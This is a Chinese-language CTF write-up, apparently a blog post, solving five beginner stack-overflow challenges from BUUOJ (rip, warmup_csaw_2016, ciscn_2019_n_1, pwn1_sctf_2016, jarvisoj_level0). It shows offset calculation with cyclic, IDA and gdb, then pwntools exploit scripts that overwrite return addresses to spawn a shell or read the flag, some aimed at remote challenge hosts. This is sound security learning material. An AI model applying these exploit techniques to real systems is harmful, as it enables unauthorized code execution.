2.rip(栈对齐)
①checksec

②IDA64打开,shift+F12查看有system函数和/bin/sh
如何查看他们的位置呢?
system位置
直接在IDA里边查看 system 0x401040

或者gdb 命令:info functions system

/bin/sh位置
点击fun函数进去 /bin/sh 0x40118A
用ROPgadget --binary rip --string '/bin/sh' 或者 search ".bin/sh"查的是静态地址
以下才是它libc中的地址(动态)

③填充数据如何算呢?这里用cyclic
填充方法一
①cyclic 200,先创建200个数据;
②pwndbg > run ,在pwndbg中运行程序;运行到如下图所示

③cyclic -l 0x6161616161616461 即可得到23
填充方法二
但是在找填充数据时 在IDA中看 0xF+8

然后这里可能涉及到栈对齐问题
from pwn import *
sh = process("./rip")
#sys_addr = 0x401040 #这是system函数plt表的位置
ret = 0x401016
fun = 0x401186
offset = 23
'''输入payload来进行操作以拿到程序的shell,b'a'表示二进制的字母a。栈填满了之后,加上目标函数地址,就可以执行这个函数'''
payload = b'a'*offset
payload += p64(ret)
#payload += p64(sys_addr)
payload += p64(fun)
sh.sendline(payload)
sh.interactive()
上述ret地址是通过ROP找到的,ROPgadget --binary rip --only "ret"
事实上这里也可以直接溢出到/bin/sh
from pwn import *
sh = process("./rip")
binsh = 0x40118A
offset = 23
payload = b'a'*offset
payload += p64(binsh)
sh.sendline(payload)
sh.interactive()
3.warmup_csaw_2016

发现flag.txt,双击


或者在主函数找到



栈溢出之后,直接执行system("cat flag.txt")。打远程能得flag
from pwn import *
#sh = process("./warmup_csaw_2016")
sh =remote ("node5.buuoj.cn",27926)
payload = b'a'*72 + p64(0x40060D)
# 栈溢出之后,直接执行system("cat flag.txt")
sh.sendline(payload)
sh.interactive()
4.ciscn_2019_n_1
这个不能用cyclic,IDA可以看

此题打开之后,gets泄露,于是用了老办法,垃圾数据用cyclic填了56个(0x30+8),在之后就执行v2 == 11.28125,发现并不行。
方法一:
再回头来看gets泄露的参数v1,其在执行v2前只填了44个junk数据,这44个空间一满就可以溢出了


再就是把这个浮点数转化为Hex。这个也是远程能打通

from pwn import *
sh=remote("node5.buuoj.cn",26953)
payload=b'a'*44+p64(0x41348000)
sh.sendline(payload)
sh.interactive()
方法二:
像之前的一样,将其覆盖到返回地址,填充56 (0x30 + 8)junk


from pwn import *
sh=remote("node5.buuoj.cn",26194)
elf = ELF('./ciscn_2019_n_1')
padding = 0x30 + 8
sys_addr = 0x4006BE # 这里是cat /flag
payload=b'a'*padding+p64(sys_addr)
sh.sendline(payload)
sh.interactive()
5.pwn1_sctf_2016
这个题用了elf找自动找函数位置

IDA32打开,main函数点进去,vuln() 即vulnerable易受攻击的

fgets函数没问题(代替了gets这一危险函数);后面有个strcpy函数这也是个危险函数,这里是把v0的内容复制到s里面
s参数点进去看看,在栈中的位置为0x3C

覆盖s的内容到r返回地址,则需要0x3C+4,即64个字符

这64个字符如何构成呢,分析vuln()函数中间那一段C++,可知,输入I(1个字符)会返回you(3个字符),则可以构造payload = b'I'*21 + b'a'*1
再shift+F12,发现一个cat flag.txt,点进去
![]()
Ctrl + X,即可找到这一命令地址 0x08048F13

如果拿不准找system地址(本题可以看到有get_flag),也可以通过以下exp中的方式(elf)
from pwn import *
sh = remote ('node5.buuoj.cn',27790)
#sys_addr = 0x08048F13 #直接找的
#通过以下方式自动找寻system的地址(本题为get_flag)
elf = ELF("./pwn1_sctf_2016")
sys_addr = elf.symbols["get_flag"]
payload = b'I'*21 + b'a'*1
payload += p32(sys_addr)
sh.sendline(payload)
sh.interactive()
6.jarvisoj_level0
这个题写了个动调的方法
checksec

这里介绍几种确定填充(junk)数据的方法
填充方法一
①像上边(2.rip(栈对齐))说的cyclic,具体见上边

填充方法二
②在vulnerable函数中直接看

查看变量buf,要执行到r返回地址,就得覆盖128+8个字符

填充方法三
③gdb动态调试
下一个断点,我就下在了main(b main);'r'运行;步过(‘n’)到功能函数(vulnerable_function);然后步入(‘s’);直到read函数,再‘n’;‘n’之后随便输入几个a;
![]()
回车之后再查看一下栈空间 stack 20

rbp-rsp是0x80个字符(128),然后到返回地址还需要覆盖8个字符(如上图所示)
远程可以
from pwn import *
sh = remote ('node5.buuoj.cn',28524)
#通过这种方式自动找寻system的地址
elf = ELF("./level0")
sys_addr = elf.symbols["callsystem"]
payload = b'a'*136
payload += p64(sys_addr)
sh.sendline(payload)
sh.interactive()
这里直接用的pwntools工具,找system地址,sys_addr = elf.symbols["callsystem"]

1707

被折叠的 条评论
为什么被折叠?



